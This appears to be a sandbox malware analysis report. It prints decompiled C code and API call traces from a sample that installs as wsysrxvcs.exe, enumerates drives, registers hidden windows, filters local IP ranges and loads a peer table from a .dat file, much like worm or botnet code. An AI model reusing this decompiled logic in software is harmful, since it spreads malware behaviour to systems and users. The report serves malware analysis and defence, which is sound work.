                                                                                                                                                                                                                                                                                                                                                      0x004054ec
                                                                                                                                                                                                                                                                                                                                                      0x004054f1
                                                                                                                                                                                                                                                                                                                                                      0x004054f7
                                                                                                                                                                                                                                                                                                                                                      0x004054f8
                                                                                                                                                                                                                                                                                                                                                      0x004054fe
                                                                                                                                                                                                                                                                                                                                                      0x004054ff
                                                                                                                                                                                                                                                                                                                                                      0x00405504
                                                                                                                                                                                                                                                                                                                                                      0x00405512
                                                                                                                                                                                                                                                                                                                                                      0x00405518
                                                                                                                                                                                                                                                                                                                                                      0x00405524
                                                                                                                                                                                                                                                                                                                                                      0x00405532
                                                                                                                                                                                                                                                                                                                                                      0x00405538
                                                                                                                                                                                                                                                                                                                                                      0x00405538
                                                                                                                                                                                                                                                                                                                                                      0x00405555
                                                                                                                                                                                                                                                                                                                                                      0x0040557b
                                                                                                                                                                                                                                                                                                                                                      0x00405580
                                                                                                                                                                                                                                                                                                                                                      0x00405580
                                                                                                                                                                                                                                                                                                                                                      0x0040546c
                                                                                                                                                                                                                                                                                                                                                      0x0040546c
                                                                                                                                                                                                                                                                                                                                                      0x0040558d
                                                                                                                                                                                                                                                                                                                                                      0x0040558d
                                                                                                                                                                                                                                                                                                                                                      0x0040559a

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE(000003E8), ref: 0040541E
                                                                                                                                                                                                                                                                                                                                                      • GetModuleFileNameW.KERNEL32(00000000,C:\Windows\wsysrxvcs.exe,00000104), ref: 00405430
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D070: CreateFileW.KERNELBASE(@T@,80000000,00000001,00000000,00000003,00000000,00000000,00405440), ref: 0040D090
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D070: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D0A5
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D070: FindCloseChangeNotification.KERNELBASE(000000FF), ref: 0040D0B2
                                                                                                                                                                                                                                                                                                                                                      • ExitThread.KERNEL32 ref: 0040559A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00404C20: GetLogicalDrives.KERNELBASE ref: 00404C26
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00404C20: RegOpenKeyExW.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00404C74
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00404C20: RegQueryValueExW.KERNELBASE(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00404CA1
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00404C20: RegCloseKey.ADVAPI32(?), ref: 00404CBE
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE(000007D0), ref: 0040558D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00404BC0: lstrcpyW.KERNEL32 ref: 00404C13
                                                                                                                                                                                                                                                                                                                                                      • GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,?,00000000,00000000), ref: 004054CF
                                                                                                                                                                                                                                                                                                                                                      • GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 004054E4
                                                                                                                                                                                                                                                                                                                                                      • _aulldiv.NTDLL(?,?,40000000,00000000), ref: 004054FF
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00405512
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00405532
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00405555
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Filewsprintf$CloseSleep$ChangeCreateDiskDrivesExitFindFreeInformationLogicalModuleNameNotificationOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
                                                                                                                                                                                                                                                                                                                                                      • String ID: (%dGB)$%s%s$C:\Windows\wsysrxvcs.exe$Unnamed volume
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 899515741-415077147
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: ed994da33f24f64b2f5f1e1ab35f0dff2efdad8fe7624ed8afbc41a57513c7fc
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 3fe1d8bc697817bb000b0270b0fe4bb7d325435501b2d129f68459ff1fd9a11f
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ed994da33f24f64b2f5f1e1ab35f0dff2efdad8fe7624ed8afbc41a57513c7fc
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D44186B1940208BBE724DB94DC45FEF7778EB48705F1085A6F209B21D0DA785B84CF6A
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00404360 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73windowsleepregistryCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 68%
                                                                                                                                                                                                                                                                                                                                                      			E00404360() {
				struct HWND__* _v8;
				struct tagMSG _v36;
				struct _WNDCLASSEXW _v84;
				short _v596;
				unsigned int _t20;
				short _t25;
				struct HWND__* _t27;
				void* _t39;
				void* _t40;

				do {
					_v84.cbSize = 0;
					memset( &(_v84.style), 0, 0x2c);
					_t40 = _t39 + 0xc;
					_v84.cbSize = 0x30;
					_v84.lpfnWndProc = E00404110;
					_v84.hInstance = GetModuleHandleW(0);
					_v84.lpszClassName =  &_v596;
					do {
						Sleep(1); // executed
						_t20 = GetTickCount();
						wsprintfW( &_v596, L"%x%X", GetTickCount(), _t20 >> 1);
						_t40 = _t40 + 0x10;
						_t25 = RegisterClassExW( &_v84); // executed
					} while ((_t25 & 0x0000ffff) == 0);
					_t27 = CreateWindowExW(0, _v84.lpszClassName, 0, 0, 0, 0, 0, 0, 0xfffffffd, 0, _v84.hInstance, 0); // executed
					_v8 = _t27;
					if(_v8 != 0) {
						while(GetMessageA( &_v36, 0, 0, 0) > 0) {
							TranslateMessage( &_v36);
							DispatchMessageA( &_v36);
						}
						goto L7;
					}
					break;
					L7:
				} while (0 != 0);
				ExitThread(0);
			}












                                                                                                                                                                                                                                                                                                                                                      0x00404369
                                                                                                                                                                                                                                                                                                                                                      0x00404369
                                                                                                                                                                                                                                                                                                                                                      0x00404378
                                                                                                                                                                                                                                                                                                                                                      0x0040437d
                                                                                                                                                                                                                                                                                                                                                      0x00404380
                                                                                                                                                                                                                                                                                                                                                      0x00404387
                                                                                                                                                                                                                                                                                                                                                      0x00404396
                                                                                                                                                                                                                                                                                                                                                      0x0040439f
                                                                                                                                                                                                                                                                                                                                                      0x004043a2
                                                                                                                                                                                                                                                                                                                                                      0x004043a4
                                                                                                                                                                                                                                                                                                                                                      0x004043aa
                                                                                                                                                                                                                                                                                                                                                      0x004043c6
                                                                                                                                                                                                                                                                                                                                                      0x004043cc
                                                                                                                                                                                                                                                                                                                                                      0x004043d3
                                                                                                                                                                                                                                                                                                                                                      0x004043dc
                                                                                                                                                                                                                                                                                                                                                      0x004043fc
                                                                                                                                                                                                                                                                                                                                                      0x00404402
                                                                                                                                                                                                                                                                                                                                                      0x00404409
                                                                                                                                                                                                                                                                                                                                                      0x0040440d
                                                                                                                                                                                                                                                                                                                                                      0x00404425
                                                                                                                                                                                                                                                                                                                                                      0x0040442f
                                                                                                                                                                                                                                                                                                                                                      0x0040442f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040440d
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404437
                                                                                                                                                                                                                                                                                                                                                      0x00404437
                                                                                                                                                                                                                                                                                                                                                      0x00404441

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: %x%X$0
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 716646876-225668902
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 1be0a28896d58379dce222b4fa4e2dc6b64525eee7932dd8d05c2ac19e785193
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 38065e7ea4c3cb18e3dcb6505b957afac4f73b5dab79f8681fd6a3e1bf06ac9c
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1be0a28896d58379dce222b4fa4e2dc6b64525eee7932dd8d05c2ac19e785193
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6F2118B0A40308BFDB149BE0DC4DFEE7B78BB44701F548529F601B61D0DBB995858B69
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00409920 Relevance: 22.7, APIs: 9, Strings: 6, Instructions: 156stringCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 176 409920-409937 call 409660 179 409939 176->179 180 40993e-40995a call 4093d0 strstr 176->180 182 409b43-409b46 179->182 184 40995c-409978 call 4093d0 strstr 180->184 185 40999d-4099b9 call 4093d0 strstr 180->185 190 409998 184->190 191 40997a-409996 call 4093d0 strstr 184->191 192 4099bb-4099d7 call 4093d0 strstr 185->192 193 4099fc-409a12 EnterCriticalSection 185->193 190->182 191->185 191->190 204 4099f7 192->204 205 4099d9-4099f5 call 4093d0 strstr 192->205 194 409a1d-409a26 193->194 197 409a57-409a62 call 409870 194->197 198 409a28-409a38 194->198 212 409b38-409b3d LeaveCriticalSection 197->212 213 409a68-409a76 197->213 201 409a55 198->201 202 409a3a-409a53 call 40bd50 198->202 201->194 202->197 204->182 205->193 205->204 212->182 214 409a78 213->214 215 409a7c-409a7e call 4089f0 213->215 214->215 217 409a83-409a8d 215->217 217->212 218 409a93-409ab0 call 40bd50 217->218 221 409ab2-409ac1 218->221 222 409b07-409b20 218->222 223 409ac3-409acb Sleep 221->223 224 409acd-409b05 call 408b60 221->224 225 409b26-409b31 call 409870 222->225 223->221 224->225 225->212 230 409b33 call 409550 225->230 230->212
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00409920(signed int _a4, intOrPtr _a8, signed int _a12) {
				signed char _v5;
				signed int _v12;
				signed int _v13;
				signed int _v20;
				signed char _t50;
				char* _t52;
				char* _t54;
				char* _t57;
				signed int _t61;
				void* _t65;
				char* _t68;
				char* _t72;
				signed int _t77;
				char* _t78;
				signed int _t80;
				signed int _t89;
				signed int _t91;
				intOrPtr _t93;
				char* _t95;
				void* _t97;
				void* _t98;
				void* _t100;
				void* _t102;
				void* _t106;
				void* _t109;

				_t50 = E00409660(_a4); // executed
				_t98 = _t97 + 4;
				_t74 = _t50 & 0x000000ff;
				if((_t50 & 0x000000ff) == 0) {
					_t52 = strstr(E004093D0(_t74, _a4), "127.");
					_t100 = _t98 + 0xc;
					__eflags = _t52;
					if(_t52 == 0) {
						L6:
						_t54 = strstr(E004093D0(_t74, _a4), "10.");
						_t102 = _t100 + 0xc;
						__eflags = _t54;
						if(_t54 == 0) {
							L10:
							EnterCriticalSection(0x4156ac);
							_v5 = 0;
							_v12 = 0;
							while(1) {
								__eflags = _v12 -  *0x4156e4; // 0x200
								if(__eflags >= 0) {
									break;
								}
								_t93 =  *((intOrPtr*)(0x4156e8 + _v12 * 4));
								__eflags =  *((intOrPtr*)(_t93 + 4)) - _a4;
								if( *((intOrPtr*)(_t93 + 4)) != _a4) {
									_t95 = _v12 + 1;
									__eflags = _t95;
									_v12 = _t95;
									continue;
								}
								_t65 = E0040BD50();
								_t55 = _t65 - _a8;
								 *((intOrPtr*)( *((intOrPtr*)(0x4156e8 + _v12 * 4)) + 8)) = _t65 - _a8;
								_v5 = 1;
								break;
							}
							E00409870(_t55);
							_t57 = _v5 & 0x000000ff;
							__eflags = _t57;
							if(_t57 != 0) {
								L27:
								LeaveCriticalSection(0x4156ac);
								return _t57;
							}
							_v13 = 0;
							__eflags =  *0x4156e4 - 0x200;
							if( *0x4156e4 == 0x200) {
								_v13 = 1;
							}
							_t57 = E004089F0(0xc); // executed
							_v20 = _t57;
							__eflags = _v20;
							if(_v20 == 0) {
								goto L27;
							} else {
								 *((intOrPtr*)(_v20 + 4)) = _a4;
								 *((intOrPtr*)(_v20 + 8)) = E0040BD50() - _a8;
								__eflags = _v13 & 0x000000ff;
								if((_v13 & 0x000000ff) == 0) {
									_t89 =  *0x4156e4; // 0x200
									_t60 = _v20;
									 *((intOrPtr*)(0x4156e8 + _t89 * 4)) = _v20;
									_t77 =  *0x4156e4; // 0x200
									_t78 = _t77 + 1;
									__eflags = _t78;
									 *0x4156e4 = _t78;
									L25:
									_t57 = E00409870(_t60);
									__eflags = _a12 & 0x000000ff;
									if((_a12 & 0x000000ff) != 0) {
										_t57 = E00409550(_t57);
									}
									goto L27;
								} else {
									goto L21;
								}
								while(1) {
									L21:
									_t61 =  *0x4156e4; // 0x200
									__eflags =  *(0x4156e4[_t61]);
									if( *(0x4156e4[_t61]) == 0) {
										break;
									}
									Sleep(1);
								}
								_t91 =  *0x4156e4; // 0x200
								 *(0x4156e4[_t91]) = 1;
								_t80 =  *0x4156e4; // 0x200
								E00408B60(0x4156e4[_t80]);
								_t60 =  *0x4156e4; // 0x200
								0x4156e4[_t60] = _v20;
								goto L25;
							}
						}
						_t68 = strstr(E004093D0(_t74, _a4), ".10");
						_t106 = _t102 + 0xc;
						__eflags = _t68;
						if(_t68 == 0) {
							L9:
							return _t68;
						}
						_t68 = strstr(E004093D0(_a4, _a4), ".10.");
						_t102 = _t106 + 0xc;
						__eflags = _t68;
						if(_t68 != 0) {
							goto L10;
						}
						goto L9;
					}
					_t72 = strstr(E004093D0(_t74, _a4), ".127");
					_t109 = _t100 + 0xc;
					__eflags = _t72;
					if(_t72 == 0) {
						L5:
						return _t72;
					}
					_t74 = _a4;
					_t72 = strstr(E004093D0(_a4, _a4), ".127.");
					_t100 = _t109 + 0xc;
					__eflags = _t72;
					if(_t72 != 0) {
						goto L6;
					}
					goto L5;
				}
				return _t50;
			}




























                                                                                                                                                                                                                                                                                                                                                      0x0040992a
                                                                                                                                                                                                                                                                                                                                                      0x0040992f
                                                                                                                                                                                                                                                                                                                                                      0x00409932
                                                                                                                                                                                                                                                                                                                                                      0x00409937
                                                                                                                                                                                                                                                                                                                                                      0x00409950
                                                                                                                                                                                                                                                                                                                                                      0x00409955
                                                                                                                                                                                                                                                                                                                                                      0x00409958
                                                                                                                                                                                                                                                                                                                                                      0x0040995a
                                                                                                                                                                                                                                                                                                                                                      0x0040999d
                                                                                                                                                                                                                                                                                                                                                      0x004099af
                                                                                                                                                                                                                                                                                                                                                      0x004099b4
                                                                                                                                                                                                                                                                                                                                                      0x004099b7
                                                                                                                                                                                                                                                                                                                                                      0x004099b9
                                                                                                                                                                                                                                                                                                                                                      0x004099fc
                                                                                                                                                                                                                                                                                                                                                      0x00409a01
                                                                                                                                                                                                                                                                                                                                                      0x00409a07
                                                                                                                                                                                                                                                                                                                                                      0x00409a0b
                                                                                                                                                                                                                                                                                                                                                      0x00409a1d
                                                                                                                                                                                                                                                                                                                                                      0x00409a20
                                                                                                                                                                                                                                                                                                                                                      0x00409a26
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409a2b
                                                                                                                                                                                                                                                                                                                                                      0x00409a35
                                                                                                                                                                                                                                                                                                                                                      0x00409a38
                                                                                                                                                                                                                                                                                                                                                      0x00409a17
                                                                                                                                                                                                                                                                                                                                                      0x00409a17
                                                                                                                                                                                                                                                                                                                                                      0x00409a1a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409a1a
                                                                                                                                                                                                                                                                                                                                                      0x00409a3a
                                                                                                                                                                                                                                                                                                                                                      0x00409a3f
                                                                                                                                                                                                                                                                                                                                                      0x00409a4c
                                                                                                                                                                                                                                                                                                                                                      0x00409a4f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409a4f
                                                                                                                                                                                                                                                                                                                                                      0x00409a57
                                                                                                                                                                                                                                                                                                                                                      0x00409a5c
                                                                                                                                                                                                                                                                                                                                                      0x00409a60
                                                                                                                                                                                                                                                                                                                                                      0x00409a62
                                                                                                                                                                                                                                                                                                                                                      0x00409b38
                                                                                                                                                                                                                                                                                                                                                      0x00409b3d
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409b3d
                                                                                                                                                                                                                                                                                                                                                      0x00409a68
                                                                                                                                                                                                                                                                                                                                                      0x00409a6c
                                                                                                                                                                                                                                                                                                                                                      0x00409a76
                                                                                                                                                                                                                                                                                                                                                      0x00409a78
                                                                                                                                                                                                                                                                                                                                                      0x00409a78
                                                                                                                                                                                                                                                                                                                                                      0x00409a7e
                                                                                                                                                                                                                                                                                                                                                      0x00409a86
                                                                                                                                                                                                                                                                                                                                                      0x00409a89
                                                                                                                                                                                                                                                                                                                                                      0x00409a8d
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409a93
                                                                                                                                                                                                                                                                                                                                                      0x00409a99
                                                                                                                                                                                                                                                                                                                                                      0x00409aa7
                                                                                                                                                                                                                                                                                                                                                      0x00409aae
                                                                                                                                                                                                                                                                                                                                                      0x00409ab0
                                                                                                                                                                                                                                                                                                                                                      0x00409b07
                                                                                                                                                                                                                                                                                                                                                      0x00409b0d
                                                                                                                                                                                                                                                                                                                                                      0x00409b10
                                                                                                                                                                                                                                                                                                                                                      0x00409b17
                                                                                                                                                                                                                                                                                                                                                      0x00409b1d
                                                                                                                                                                                                                                                                                                                                                      0x00409b1d
                                                                                                                                                                                                                                                                                                                                                      0x00409b20
                                                                                                                                                                                                                                                                                                                                                      0x00409b26
                                                                                                                                                                                                                                                                                                                                                      0x00409b26
                                                                                                                                                                                                                                                                                                                                                      0x00409b2f
                                                                                                                                                                                                                                                                                                                                                      0x00409b31
                                                                                                                                                                                                                                                                                                                                                      0x00409b33
                                                                                                                                                                                                                                                                                                                                                      0x00409b33
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409ab2
                                                                                                                                                                                                                                                                                                                                                      0x00409ab2
                                                                                                                                                                                                                                                                                                                                                      0x00409ab2
                                                                                                                                                                                                                                                                                                                                                      0x00409abe
                                                                                                                                                                                                                                                                                                                                                      0x00409ac1
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409ac5
                                                                                                                                                                                                                                                                                                                                                      0x00409ac5
                                                                                                                                                                                                                                                                                                                                                      0x00409acd
                                                                                                                                                                                                                                                                                                                                                      0x00409ada
                                                                                                                                                                                                                                                                                                                                                      0x00409ae0
                                                                                                                                                                                                                                                                                                                                                      0x00409aee
                                                                                                                                                                                                                                                                                                                                                      0x00409af6
                                                                                                                                                                                                                                                                                                                                                      0x00409afe
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409afe
                                                                                                                                                                                                                                                                                                                                                      0x00409a8d
                                                                                                                                                                                                                                                                                                                                                      0x004099cd
                                                                                                                                                                                                                                                                                                                                                      0x004099d2
                                                                                                                                                                                                                                                                                                                                                      0x004099d5
                                                                                                                                                                                                                                                                                                                                                      0x004099d7
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004099eb
                                                                                                                                                                                                                                                                                                                                                      0x004099f0
                                                                                                                                                                                                                                                                                                                                                      0x004099f3
                                                                                                                                                                                                                                                                                                                                                      0x004099f5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004099f5
                                                                                                                                                                                                                                                                                                                                                      0x0040996e
                                                                                                                                                                                                                                                                                                                                                      0x00409973
                                                                                                                                                                                                                                                                                                                                                      0x00409976
                                                                                                                                                                                                                                                                                                                                                      0x00409978
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040997f
                                                                                                                                                                                                                                                                                                                                                      0x0040998c
                                                                                                                                                                                                                                                                                                                                                      0x00409991
                                                                                                                                                                                                                                                                                                                                                      0x00409994
                                                                                                                                                                                                                                                                                                                                                      0x00409996
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409996
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00409660: gethostname.WS2_32(?,00000100), ref: 0040967C
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00409660: gethostbyname.WS2_32(?), ref: 0040968E
                                                                                                                                                                                                                                                                                                                                                      • strstr.NTDLL ref: 00409950
                                                                                                                                                                                                                                                                                                                                                      • strstr.NTDLL ref: 0040996E
                                                                                                                                                                                                                                                                                                                                                      • strstr.NTDLL ref: 0040998C
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: strstr$gethostbynamegethostname
                                                                                                                                                                                                                                                                                                                                                      • String ID: .10$.10.$.127$.127.$10.$127.
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2540993189-3303897403
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: f05f1c1433c59228eee89a683b4b492debfc5de9a1f62f729c721ba0485234b3
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 658aa9150d0c7f202bb3345ef87198443445dd4adc116730250c2e9abde66c2d
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f05f1c1433c59228eee89a683b4b492debfc5de9a1f62f729c721ba0485234b3
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6751A3B4A00244DBDB00EF65E841BDE7775AB54305F14803BE909AB3C3E679EE50CA9A
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00409C30 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107fileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00409C30() {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				long _v24;
				DWORD* _v28;
				signed int _v32;
				void* _t39;
				intOrPtr _t41;
				void* _t42;
				void* _t74;

				InitializeCriticalSection(0x4156ac);
				_v12 = 0;
				while(_v12 < 0x200) {
					E00409920( *((intOrPtr*)(0x4133b8 + _v12 * 4)), E0040BD50(), 0); // executed
					_t74 = _t74 + 0xc;
					_v12 = _v12 + 1;
				}
				_t39 = CreateFileW("C:\Users\alfons\tbnds.dat", 0x80000000, 0, 0, 3, 0, 0); // executed
				_v8 = _t39;
				if(_v8 != 0xffffffff) {
					_v16 = CreateFileMappingW(_v8, 0, 2, 0, 0, 0);
					if(_v16 != 0) {
						_v20 = MapViewOfFile(_v16, 4, 0, 0, 0);
						if(_v20 != 0) {
							_v24 = GetFileSize(_v8, 0);
							_v28 = 0;
							_v32 = 0;
							while(_v28 < _v24 && _v32 < 0x200) {
								E00409920( *((intOrPtr*)(_v20 + _v32 * 8)), E0040BD50() -  *((intOrPtr*)(_v20 + 4 + _v32 * 8)), 0);
								_t74 = _t74 + 0xc;
								_v28 =  &(_v28[2]);
								_v32 = _v32 + 1;
							}
							UnmapViewOfFile(_v20);
						}
						CloseHandle(_v16);
					}
					CloseHandle(_v8); // executed
				}
				E00409640(); // executed
				_t41 =  *0x4156c8; // 0x2190628
				_t42 = E0040BA90(_t41, 0, E00409510, 0, 0, 0); // executed
				return _t42;
			}














                                                                                                                                                                                                                                                                                                                                                      0x00409c3b
                                                                                                                                                                                                                                                                                                                                                      0x00409c41
                                                                                                                                                                                                                                                                                                                                                      0x00409c53
                                                                                                                                                                                                                                                                                                                                                      0x00409c6f
                                                                                                                                                                                                                                                                                                                                                      0x00409c74
                                                                                                                                                                                                                                                                                                                                                      0x00409c50
                                                                                                                                                                                                                                                                                                                                                      0x00409c50
                                                                                                                                                                                                                                                                                                                                                      0x00409c8d
                                                                                                                                                                                                                                                                                                                                                      0x00409c93
                                                                                                                                                                                                                                                                                                                                                      0x00409c9a
                                                                                                                                                                                                                                                                                                                                                      0x00409cb4
                                                                                                                                                                                                                                                                                                                                                      0x00409cbb
                                                                                                                                                                                                                                                                                                                                                      0x00409cd3
                                                                                                                                                                                                                                                                                                                                                      0x00409cda
                                                                                                                                                                                                                                                                                                                                                      0x00409ce8
                                                                                                                                                                                                                                                                                                                                                      0x00409ceb
                                                                                                                                                                                                                                                                                                                                                      0x00409cf2
                                                                                                                                                                                                                                                                                                                                                      0x00409d0d
                                                                                                                                                                                                                                                                                                                                                      0x00409d3a
                                                                                                                                                                                                                                                                                                                                                      0x00409d3f
                                                                                                                                                                                                                                                                                                                                                      0x00409d01
                                                                                                                                                                                                                                                                                                                                                      0x00409d0a
                                                                                                                                                                                                                                                                                                                                                      0x00409d0a
                                                                                                                                                                                                                                                                                                                                                      0x00409d48
                                                                                                                                                                                                                                                                                                                                                      0x00409d48
